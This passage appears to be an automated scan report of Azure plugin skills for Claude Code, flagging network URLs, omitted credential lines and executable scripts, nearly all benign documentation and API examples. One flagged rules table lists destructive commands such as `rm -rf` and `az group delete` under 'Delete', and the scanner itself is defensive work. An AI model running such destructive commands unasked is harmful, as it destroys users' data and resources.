    endpointUrl: 'https://my-api.example.com/events'

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/foundry/region-availability.md

  • Network accessline 15
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/README.md

  • Network accessline 65
    > Do NOT use hardcoded versions. Query for latest GA versions before generating code: > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 66
    > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) >
  • Network accessline 67
    > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > > Use the azure-documentation MCP tool to fetch current supported versions:

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/bicep.md

  • Network accessline 86
    runtime: {         name: 'python'  // or 'node', 'dotnet-isolated'         version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages
  • Network accessline 87
    name: 'python'  // or 'node', 'dotnet-isolated'         version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages       }
  • Network accessline 88
    version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/README.md

  • Network accessline 112
    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json
  • Network accessline 115
    > ⚠<U+FE0F> **If manifest fetch fails** (any error): > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json`
  • Network accessline 116
    > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json`
  • Network accessline 127
    | `resource` | Trigger type (see [selection.md](selection.md)) | `http`, `cosmos`, `timer`, `eventhub`, `servicebus`, `blob`, `sql`, `mcp`, `durable` | | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo w
  • Network accessline 128
    | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | | `folderPath` | Path within repo | `.` or `src/api` |
  • Network accessline 129
    | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` |
  • Network accessline 139
    GET https://github.com/{owner}/{repo}/archive/refs/heads/main.zip
  • Network accessline 146
    1. GET https://api.github.com/repos/{owner}/{repo}/git/trees/main?recursive=1
  • Network accessline 147
    2. Filter tree entries where path starts with {folderPath}/ 3. For each file:    GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path}
  • Network accessline 149
    GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path}
  • Network accessline 181
    **Browse all:** [Awesome AZD Functions](https://azure.github.io/awesome-azd/?tags=functions)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/base/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language × trigger eval requires ~5 min of agent runtime. Full matrix (6 languages × 9 triggers) = ~4.5 hours of CI. Python is verified end-to-end; other languages are confirmed available in the [functions temp

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/README.md

  • Network accessline 28
    See [Blob Storage trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-storage-blob-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed 

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/composition.md

  • Network accessline 47
    1. FETCH MANIFEST    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json
  • Network accessline 48
    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json    If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json    If both fail → 
  • Network accessline 49
    If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json
  • Network accessline 224
    > ⚠<U+FE0F> **ALWAYS QUERY OFFICIAL DOCUMENTATION** — Do NOT use hardcoded versions. > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 225
    > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) >
  • Network accessline 226
    > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/README.md

  • Network accessline 27
    See [Cosmos DB trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-cosmosdb-v2-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/durable/README.md

  • Network accessline 34
    The identity must have the **Durable Task Data Contributor** role on the scheduler or task hub resource. See [DTS identity auth](https://learn.microsoft.com/en-us/azure/durable-task/scheduler/durable-task-scheduler-identity) for identity-ba

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/durable/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). PowerShell has no

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/README.md

  • Network accessline 21
    See [Event Hubs trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/mcp/README.md

  • Network accessline 17
    See [MCP Specification](https://modelcontextprotocol.io/) for protocol details.
  • Network accessline 31
    See [MCP extension trigger and bindings](https://learn.microsoft.com/azure/azure-functions/functions-bindings-mcp) for extension-based servers, [Self-hosted MCP servers](https://learn.microsoft.com/en-us/azure/azure-functions/self-hosted-mc

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/mcp/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/README.md

  • Network accessline 26
    See [Service Bus trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-service-bus-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed id

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/sql/README.md

  • Network accessline 45
    See [SQL managed identity](https://learn.microsoft.com/en-us/azure/azure-functions/functions-identity-access-azure-sql-with-managed-identity) for identity-based config — refer to the **"Configure the function app"** section for connection s

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/sql/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Java, JavaScript,

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/timer/README.md

  • Network accessline 22
    > Azure uses 6-part cron expressions (with seconds). See [Azure Functions timer trigger](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-timer#ncrontab-expressions) for full syntax reference.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/timer/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/terraform.md

  • Network accessline 173
    > 💡 **Example Reference:** [HashiCorp Flex Consumption Example](https://registry.terraform.io/modules/Azure/avm-res-web-site/azurerm/latest/examples/flex_consumption)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/key-vault/README.md

  • Network accessline 39
    | Variable | Value | |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |
  • Network accessline 40
    |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | | `KEY_VAULT_NAME` | Vault name |
  • Network accessline 41
    | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/key-vault/sdk.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 59
    endpointType: 'WebHook'       properties: {         endpointUrl: 'https://my-api.example.com/secret-rotation'
  • Network accessline 60
    properties: {         endpointUrl: 'https://my-api.example.com/secret-rotation'       }
  • Network accessline 61
    endpointUrl: 'https://my-api.example.com/secret-rotation'

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/logic-apps/bicep.md

  • Network accessline 10
    state: 'Enabled'     definition: {       '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'
  • Network accessline 11
    definition: {       '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'       contentVersion: '1.0.0.0'
  • Network accessline 12
    '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/logic-apps/triggers.md

  • Network accessline 69
    "inputs": {       "method": "POST",       "uri": "https://api.example.com/orders",
  • Network accessline 70
    "method": "POST",       "uri": "https://api.example.com/orders",       "headers": {
  • Network accessline 71
    "uri": "https://api.example.com/orders",

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/service-bus/patterns.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 78
    if (-not (Get-Command sqlcmd -ErrorAction SilentlyContinue)) {     Write-Error "'sqlcmd' is not installed or not on PATH."     Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."
  • Network accessline 79
    Write-Error "'sqlcmd' is not installed or not on PATH."     Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."     exit 1
  • Network accessline 80
    Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 85
    if ! command -v sqlcmd >/dev/null 2>&1; then   echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2   echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2
  • Network accessline 86
    echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2   echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2   exit 1
  • Network accessline 87
    echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/sdk.md

  • Network accessline 30
    [Credential-related source omitted]
  • Network accessline 31
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/static-web-apps/deployment.md

  • Network accessline 16
    properties: {   repositoryUrl: 'https://github.com/owner/repo'
  • Network accessline 17
    repositoryUrl: 'https://github.com/owner/repo'
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/static-web-apps/routing.md

  • Network accessline 41
    "azureActiveDirectory": {         "registration": {           "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",
  • Network accessline 42
    "registration": {           "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",           "clientIdSettingName": "AAD_CLIENT_ID",
  • Network accessline 43
    "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}",
  • Access to secretsline 45
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/storage/access.md

  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 92
    const client = new BlobServiceClient(   `https://${accountName}.blob.core.windows.net`,
  • Network accessline 93
    `https://${accountName}.blob.core.windows.net`,

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/scripts/validate-deployment.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/scripts/validate-deployment.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/README.md

  • Network accessline 59
    - Terraform: see https://developer.hashicorp.com/terraform/install

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/errors.md

  • Network accessline 28
    site_config {     cors {       allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]
  • Network accessline 29
    cors {       allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]     }
  • Network accessline 30
    allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"]
  • Network accessline 36
    resource "azurerm_linux_web_app" "frontend" {   app_settings = {     API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"
  • Network accessline 37
    app_settings = {     API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"   }
  • Network accessline 38
    API_URL = "https://${azurerm_linux_web_app.api.default_hostname}"
  • Network accessline 64
    > ⚠<U+FE0F> **Warning:** If using `["*"]` as a temporary bootstrap value, you **must** set `frontend_origin` to the actual URL (e.g., `https://app-web-*.azurewebsites.net`) and re-run `terraform apply` in the same deployment session before reporti

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 50
    Add-Result "Terraform installed" "PASS" } else {     Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Network accessline 51
    } else {     Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" }
  • Network accessline 52
    Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 50
    record "Terraform installed" "PASS" else     record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Network accessline 51
    else     record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" fi
  • Network accessline 52
    record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
  • Dangerous shell operationline 102
    rm -f "$tmp"

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 53
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/workflow.ps1

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/workflow.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/plugins/azure-cloud-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/azure-cloud-development/skills/az-cost-optimize/SKILL.md

  • Network accessline 78
    Calculate CPU and memory utilization averages, database throughput patterns, storage access frequency, and Function execution rates. Validate current monthly cost before recommendations by mapping `Resource -> Current SKU -> Estimated month

harness/claude-code/plugins/azure-cloud-development/skills/azure-cli/scripts/setup-identity-federation.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 202
    trap "rm -f '$tmp'" RETURN
  • Network accessline 206
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 207
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "audiences": ["api://AzureADTokenExchange"],
  • Network accessline 208
    "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 219
    {   "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",
  • Network accessline 220
    "name": "${name}",   "issuer": "https://token.actions.githubusercontent.com",   "subject": "${subject}",
  • Network accessline 221
    "issuer": "https://token.actions.githubusercontent.com",

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/references/retail-prices-api.md

  • Network accessline 3
    The [Azure Retail Prices API](https://learn.microsoft.com/en-us/rest/api/cost-management/retail-prices/azure-retail-prices) is **unauthenticated** — no Azure account or subscription needed.
  • Network accessline 8
    https://prices.azure.com/api/retail/prices
  • Network accessline 13
    https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 23
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'
  • Network accessline 27
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Consumption'"
  • Network accessline 31
    $filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 32
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 39
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'
  • Network accessline 43
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armRegionName%20eq%20'eastus'%20and%20contains(armSkuName,%20'Standard_D')%20and%20priceType%20eq%20'Consumption'"
  • Network accessline 47
    $filter = "serviceName eq 'Virtual Machines' and armRegionName eq 'eastus' and contains(armSkuName, 'Standard_D') and priceType eq 'Consumption'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 48
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 55
    GET https://prices.azure.com/api/retail/prices?$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'
  • Network accessline 59
    curl -s "https://prices.azure.com/api/retail/prices?\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'%20and%20priceType%20eq%20'Reservation'"
  • Network accessline 63
    $filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5' and priceType eq 'Reservation'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 64
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?`$filter=$filter"
  • Network accessline 72
    GET https://prices.azure.com/api/retail/prices?currencyCode='EUR'&$filter=serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'
  • Network accessline 76
    curl -s "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&\$filter=serviceName%20eq%20'Virtual%20Machines'%20and%20armSkuName%20eq%20'Standard_D4s_v5'"
  • Network accessline 80
    $filter = "serviceName eq 'Virtual Machines' and armSkuName eq 'Standard_D4s_v5'" $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter"
  • Network accessline 81
    $response = Invoke-RestMethod "https://prices.azure.com/api/retail/prices?currencyCode='EUR'&`$filter=$filter"
  • Network accessline 119
    { "NextPageLink": "https://prices.azure.com:443/api/retail/prices?$filter=...&$skip=1000" }

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/references/vm-families.md

  • Network accessline 5
    > **Source**: [Azure VM sizes overview](https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/overview)

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/references/vm-quotas.md

  • Network accessline 91
    - Invoke the **azure-quotas** skill for complete quota CLI workflows across all Azure providers - [VM Family Guide](vm-families.md) — Family-to-workload mapping - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtu
  • Network accessline 93
    - [Azure VM quotas documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/quotas)

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/references/vmss-guide.md

  • Network accessline 5
    > **Note:** This reference provides quick guidance but may become stale. Always verify VMSS features, limitations, and orchestration mode capabilities by fetching the latest documentation from: > - https://learn.microsoft.com/en-us/azure/vi
  • Network accessline 6
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/overview
  • Network accessline 7
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview
  • Network accessline 8
    > - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/orchestration-modes-api-comparison
  • Network accessline 62
    - Use a **cool-down period** (default 5 min) to avoid flapping - Scale out aggressively, scale in conservatively (asymmetric rules) - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/a
  • Network accessline 64
    - Monitor with [Azure Monitor autoscale diagnostics](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices)
  • Network accessline 92
    - [VMSS orchestration modes](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes)
  • Network accessline 93
    - [Autoscale best practices](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-best-practices)
  • Network accessline 94
    - [VMSS networking](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking)
  • Network accessline 95
    - [VMSS Flexible portal quickstart](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/flexible-virtual-machine-scale-sets-portal)

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/capacity-reservation/references/association-disassociation.md

  • Network accessline 61
    Existing VMSS can be associated using `az vmss update` similarly to VMs. Regional VMSS must be deallocated first. Zonal VMSS can be associated without deallocating, but this is currently a [Preview feature](https://learn.microsoft.com/en-us
  • Network accessline 104
    - [Associate a VM to a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-associate-vm)
  • Network accessline 105
    - [Remove/disassociate a VM from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-vm)
  • Network accessline 106
    - [Remove/disassociate a VMSS from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-virtual-machine-scale-set)

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/capacity-reservation/references/capacity-reservation-overview.md

  • Network accessline 103
    - [Azure Capacity Reservations documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-overview)
  • Network accessline 104
    - [Create a Capacity Reservation](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-create)

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/essential-machine-management.md

  • Network accessline 51
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.ManagedOps/managedOps/default?api-version=2025-07-28-preview
  • Network accessline 81
    For common EMM issues, refer to the official documentation: - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)
  • Network accessline 82
    - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/references/emm-enable-flow.md

  • Network accessline 33
    az rest --method GET --url "https://graph.microsoft.com/v1.0/me" --query id -o tsv
  • Network accessline 39
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{objectId}')
  • Network accessline 47
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01
  • Network accessline 76
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{uamiPrincipalId}')

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/essential-machine-management/references/emm-overview.md

  • Network accessline 46
    - [Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment)
  • Network accessline 47
    - [Troubleshoot EMM](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/bicep/README.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/bicep/main.bicep

  • Access to secretsline 139
    [Credential-related source omitted]

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/examples/terraform/README.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 14
    MY_IP=$(curl -s ifconfig.me)/32   # your current public IP, locked to /32
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]

harness/claude-code/plugins/azure-cloud-development/skills/azure-compute/workflows/vm-creator/references/delivery-options/github-pr.md

  • Network accessline 7
